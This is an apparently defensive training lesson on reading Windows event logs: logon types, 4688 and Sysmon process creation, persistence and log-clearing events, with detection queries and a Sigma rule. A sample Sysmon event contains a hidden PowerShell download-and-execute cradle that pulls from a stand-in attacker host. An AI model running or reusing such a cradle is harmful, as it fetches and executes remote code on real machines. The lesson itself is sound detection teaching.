Reading Windows event logs

The Windows events an analyst reads every day: logon events 4624 and 4625 and their logon types, process creation with 4688 and Sysmon, service and scheduled-task creation, account and group changes, PowerShell script block logging, and the log-clearing events that should always page someone.

● Must know for interviewsFREEBy ·Lesson·15 min read·Beginner → Intermediate
Windows event logs4624logon typesSysmonPowerShell loggingevent ID

01Channels, providers and event IDs

✓What you will learn
  • Know which channel each important event lives in and which audit policy produces it
  • Read a 4624 logon event, including logon type, logon ID and source address
  • Follow process creation through 4688 and Sysmon event 1
  • Recognise the events that mean persistence, privilege change and anti-forensics

Windows writes events into channels (logs): Security, System, Application, and many under Applications and Services Logs, such as Microsoft-Windows-PowerShell/Operational and Microsoft-Windows-Sysmon/Operational. Each event has a provider and an event ID, and the ID only means something together with its channel: 4624 in Security is a logon; event 1 in Sysmon is process creation.

EventChannelMeaningNeeds
4624 / 4625SecuritySuccessful / failed logonAudit Logon (on by default for success and failure on most builds)
4634 / 4647SecurityLogoff / user-initiated logoffAudit Logoff
4648SecurityLogon with explicit credentials (runas, some lateral movement tools)Audit Logon
4672SecuritySpecial privileges assigned to a new logon (admin-equivalent)Audit Special Logon
4688SecurityProcess createdAudit Process Creation, plus a separate policy to include the command line
4697 / 7045Security / SystemService installed4697 needs Audit Security System Extension; 7045 is logged by default
4698SecurityScheduled task createdAudit Other Object Access Events
4720, 4728, 4732, 4756SecurityUser created; member added to global, local, universal security groupAudit User / Security Group Management
1102SecuritySecurity log clearedAlways logged
4104PowerShell/OperationalScript block loggedScript Block Logging policy
iDefaults are thin

Out of the box, Windows does not record command lines in 4688, does not log PowerShell script blocks for all scripts, and keeps a small Security log that rolls over in hours on a busy server. Before you trust absence of evidence, check the audit policy (auditpol /get /category:*) and the log size on the host.

02Logon events and logon types

Event 4624 is written on the machine that accepted the logon: the server you connected to, not the workstation you came from. The most important fields are the account, the logon type, the source network address and workstation name, the authentication package, and the Logon ID, which ties every later event in that session together.

4624 on a file server: a network logon over NTLM from a workstationtext
EventID: 4624   Channel: Security   Computer: FS-02.corp.example
Subject:            Security ID: NULL SID   Logon ID: 0x0
Logon Information:  Logon Type: 3   Restricted Admin Mode: -   Elevated Token: Yes
New Logon:          Security ID: CORP\j.chen   Account Name: j.chen   Account Domain: CORP
                    Logon ID: 0x8A3F21C   Linked Logon ID: 0x0
Network Information: Workstation Name: WS-0417   Source Network Address: 10.20.8.31   Source Port: 51546
Detailed Authentication Information:
                    Logon Process: NtLmSsp   Authentication Package: NTLM   Package Name (NTLM only): NTLM V2
TypeNameTypical causeAnalyst note
2InteractiveKeyboard at the console, or some remote toolsCredentials are cached in LSASS on that host
3NetworkSMB share, WinRM, many admin tools, PsExec's file copyThe most common type; no credentials left on the target
4BatchScheduled task running as a userNew tasks running as a domain admin deserve a look
5ServiceService starting under an accountPairs with 7045 for new services
7UnlockWorkstation unlockedUseful for presence, rarely for attacks
8NetworkCleartextBasic auth to IIS, some PowerShell remoting with CredSSPPassword crossed the network in recoverable form
9NewCredentialsrunas /netonly, some token manipulation toolsLocal identity unchanged, new credentials used for network access
10RemoteInteractiveRDPSource address is the RDP client
11CachedInteractiveDomain user logged on with cached credentials, DC unreachableCommon on laptops off the network

Failed logons (4625) carry a Status and SubStatus. The pairs worth memorising: 0xC000006A wrong password for a real account, 0xC0000064 account does not exist, 0xC0000234 account locked out, 0xC0000072 account disabled, 0xC000006F outside permitted logon hours. A spray shows many accounts with mostly 6A and 64; a stale service password shows one account, the same source, over and over.

!Workstation name is self-reported

The Workstation Name in 4624 and 4625 comes from the client and can be anything, including a blank or a hostname copied from your estate. Trust the source address (after NAT) over the name, and cross-check with DHCP.

03Process creation: 4688 and Sysmon

Process creation is the backbone of endpoint investigation: what ran, who ran it, with what command line, from which parent. Windows offers 4688 in the Security log; Sysmon event 1 offers more: hashes, the parent command line, the original file name from the PE version resource, and a process GUID that survives PID reuse.

Sysmon event 1: Word spawning a hidden PowerShell download cradlexml
<Event>
  <System><Provider Name="Microsoft-Windows-Sysmon"/><EventID>1</EventID><Computer>WS-0417.corp.example</Computer></System>
  <EventData>
    <Data Name="UtcTime">2026-11-14 02:20:15.512</Data>
    <Data Name="ProcessGuid">{6f1d2c3a-9b4e-6735-a102-000000002a00}</Data>
    <Data Name="Image">C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</Data>
    <Data Name="OriginalFileName">PowerShell.EXE</Data>
    <Data Name="CommandLine">powershell.exe -nop -w hidden -c "iex (iwr http://updates.badexample.org/a/ps.txt)"</Data>
    <Data Name="User">CORP\j.chen</Data>
    <Data Name="LogonId">0x5c1a33</Data>
    <Data Name="IntegrityLevel">Medium</Data>
    <Data Name="Hashes">SHA256=DE96A6E69944335375DC1AC238336066889D9FFC7D73628EF4FE1B1B160AB32C</Data>
    <Data Name="ParentImage">C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE</Data>
    <Data Name="ParentCommandLine">"WINWORD.EXE" /n "C:\Users\j.chen\Downloads\Invoice_8812.docm"</Data>
  </EventData>
</Event>

Read parent and child together. Word starting PowerShell is rare in normal work; -nop -w hidden (no profile, hidden window) and iex (iwr ...) (download a script and run it in memory) are the classic cradle. The user and Logon ID tie this to j.chen's interactive session, and the URL matches the proxy record from the previous lesson. That is a confirmed initial access chain from three sources.

SPL: Office applications spawning script hosts across the estatespl
index=sysmon EventCode=1 earliest=-7d
    ParentImage IN ("*\\WINWORD.EXE", "*\\EXCEL.EXE", "*\\POWERPNT.EXE", "*\\OUTLOOK.EXE")
    Image IN ("*\\powershell.exe", "*\\cmd.exe", "*\\wscript.exe", "*\\mshta.exe", "*\\rundll32.exe")
| stats count min(_time) AS first max(_time) AS last values(CommandLine) AS cmd BY host User ParentImage Image
| convert ctime(first) ctime(last)
The same hunt as a portable Sigma rule (Sysmon event 1 or 4688 with command lines)yaml
title: Office application spawning a script host
id: 7c2e9b14-3f6a-4d8e-b1a5-0e9d2c4f6a81
status: test
description: Word, Excel, PowerPoint or Outlook starting a shell or script interpreter, the usual first step of a macro or exploit document.
author: CyArt SOC
date: 2026-11-16
tags:
  - attack.execution
  - attack.t1204.002
  - attack.t1059
logsource:
  category: process_creation
  product: windows
detection:
  selection_parent:
    ParentImage|endswith:
      - '\WINWORD.EXE'
      - '\EXCEL.EXE'
      - '\POWERPNT.EXE'
      - '\OUTLOOK.EXE'
  selection_child:
    Image|endswith:
      - '\powershell.exe'
      - '\pwsh.exe'
      - '\cmd.exe'
      - '\wscript.exe'
      - '\cscript.exe'
      - '\mshta.exe'
      - '\rundll32.exe'
  condition: all of selection_*
falsepositives:
  - Add-ins or line-of-business macros that shell out; document each by parent and command line before filtering
level: high
  • PID reuse: Windows recycles process IDs quickly, so joining on PID across hours links unrelated processes. Use Sysmon's ProcessGuid, or PID plus a tight time window and the host.
  • OriginalFileName survives renaming: an attacker who copies powershell.exe to C:\ProgramData\svc.exe still shows PowerShell.EXE there.
  • Integrity level tells you whether the process was elevated (High) or ran as SYSTEM (System); a Medium-integrity process that later spawns a High one implies a UAC bypass or a consent prompt.

04Persistence, privilege and tampering events

After access, attackers make it stick and make it bigger. A handful of events cover most of that, and several should alert on their own.

ActivityEventsWhat to check
New service7045 (System), 4697 (Security)Image path in a user-writable folder, cmd /c or PowerShell in the service command, random service names
New scheduled task4698 (Security), TaskScheduler/Operational 106Task names imitating updaters, actions running from C:\ProgramData or %TEMP%
New account4720Created outside the identity team's normal tooling, or at 03:00
Group change4728 / 4732 / 4756Additions to Domain Admins, Administrators, Remote Desktop Users; who made the change (Subject)
Log cleared1102 (Security), 104 (System)Almost never legitimate on servers; treat as an incident until explained
Audit policy changed4719Someone turning off the logging you rely on
PowerShell: quick host triage with Get-WinEventpowershell
# Pull the last 24 hours of service installs and group additions on a host you are triaging
$since = (Get-Date).AddHours(-24)
Get-WinEvent -FilterHashtable @{ LogName = 'System'; Id = 7045; StartTime = $since } |
  Select-Object TimeCreated, @{n='Service';e={$_.Properties[0].Value}}, @{n='ImagePath';e={$_.Properties[1].Value}}, @{n='Account';e={$_.Properties[4].Value}}
Get-WinEvent -FilterHashtable @{ LogName = 'Security'; Id = 4728, 4732, 4756; StartTime = $since } |
  Select-Object TimeCreated, Id, @{n='Detail';e={$_.Message -split [Environment]::NewLine | Select-String 'Account Name|Group Name' | ForEach-Object { $_.Line.Trim() }}}

PowerShell script block logging (event 4104) records the script text as the engine compiles it, after decoding: a base64 -EncodedCommand appears in clear. Windows also logs suspicious-looking blocks at Warning level automatically even when the policy is off. Pair it with 4103 module logging if you need pipeline detail, and make sure the channel is big enough, because a single script can produce many events.

▭On the whiteboard · First five event queries on a suspect host5 points
01
logons
4624 types 3 and 10 to the host, 4625 bursts, 4648 explicit credentials
02
execution
4688 or Sysmon 1 with parent chains for the incident window
03
persistence
7045, 4698, Run keys via Sysmon 13
04
privilege
4672 for unexpected accounts, group additions 4728/4732/4756
05
tamper
1102, 104, 4719, Sysmon or EDR service stops

05Reading logs in an investigation

Tie events together with the keys Windows gives you: the Logon ID links a 4624 to the processes and object accesses in that session on the same host; the source address links a logon on the server to a session on the client; time links everything else, so normalise to UTC first.

KQL: pivot on Logon ID to rebuild one sessionkql
// Sentinel: everything a suspicious network logon session did on the target
let host = "FS-02.corp.example";
let lid  = "0x8a3f21c";
SecurityEvent
| where Computer == host and TimeGenerated between (datetime(2026-11-14 02:00) .. datetime(2026-11-14 04:00))
| where TargetLogonId =~ lid or SubjectLogonId =~ lid
| project TimeGenerated, EventID, Activity, Account, NewProcessName, CommandLine, ObjectName
| order by TimeGenerated asc
Test yourself

A 4624 on a file server shows Logon Type 3 from 10.20.8.31 with Authentication Package NTLM. What does that tell you?

“How to say it in the room

"I read 4624 by logon type first, because it tells me how the session arrived and whether credentials were exposed on that host. Then I pivot on the Logon ID to everything that session did, and on the source address back to the client. Before I trust a gap, I check the audit policy and log size on that host."

◎Interview radar

Logon types are a staple screen question: know 2, 3, 4, 5, 10 and 11 cold, and be able to say which leave credentials in memory. Also expect "which event shows a service install?" (7045) and "which event should always alert?" (1102).

Q1Why is 4688 alone not enough?+

Without the command-line policy it shows only the image path, and it has no hashes or parent command line. Sysmon or EDR telemetry fills those gaps.

Q2How do you spot pass-the-hash in logs?+

A 4624 type 3 with NTLM authentication for an admin account from a workstation that does not normally administer that server. Some tools also produce type 9 logons with the seclogo logon process on the source host.

Q3What if the Security log has rolled over?+

Check forwarded copies in the SIEM first. Otherwise look for other sources: Sysmon, EDR, Prefetch, Amcache, SRUM and the System log, which rolls more slowly.

Finished this one?
Tick it and it shows as done on the roadmap and the course.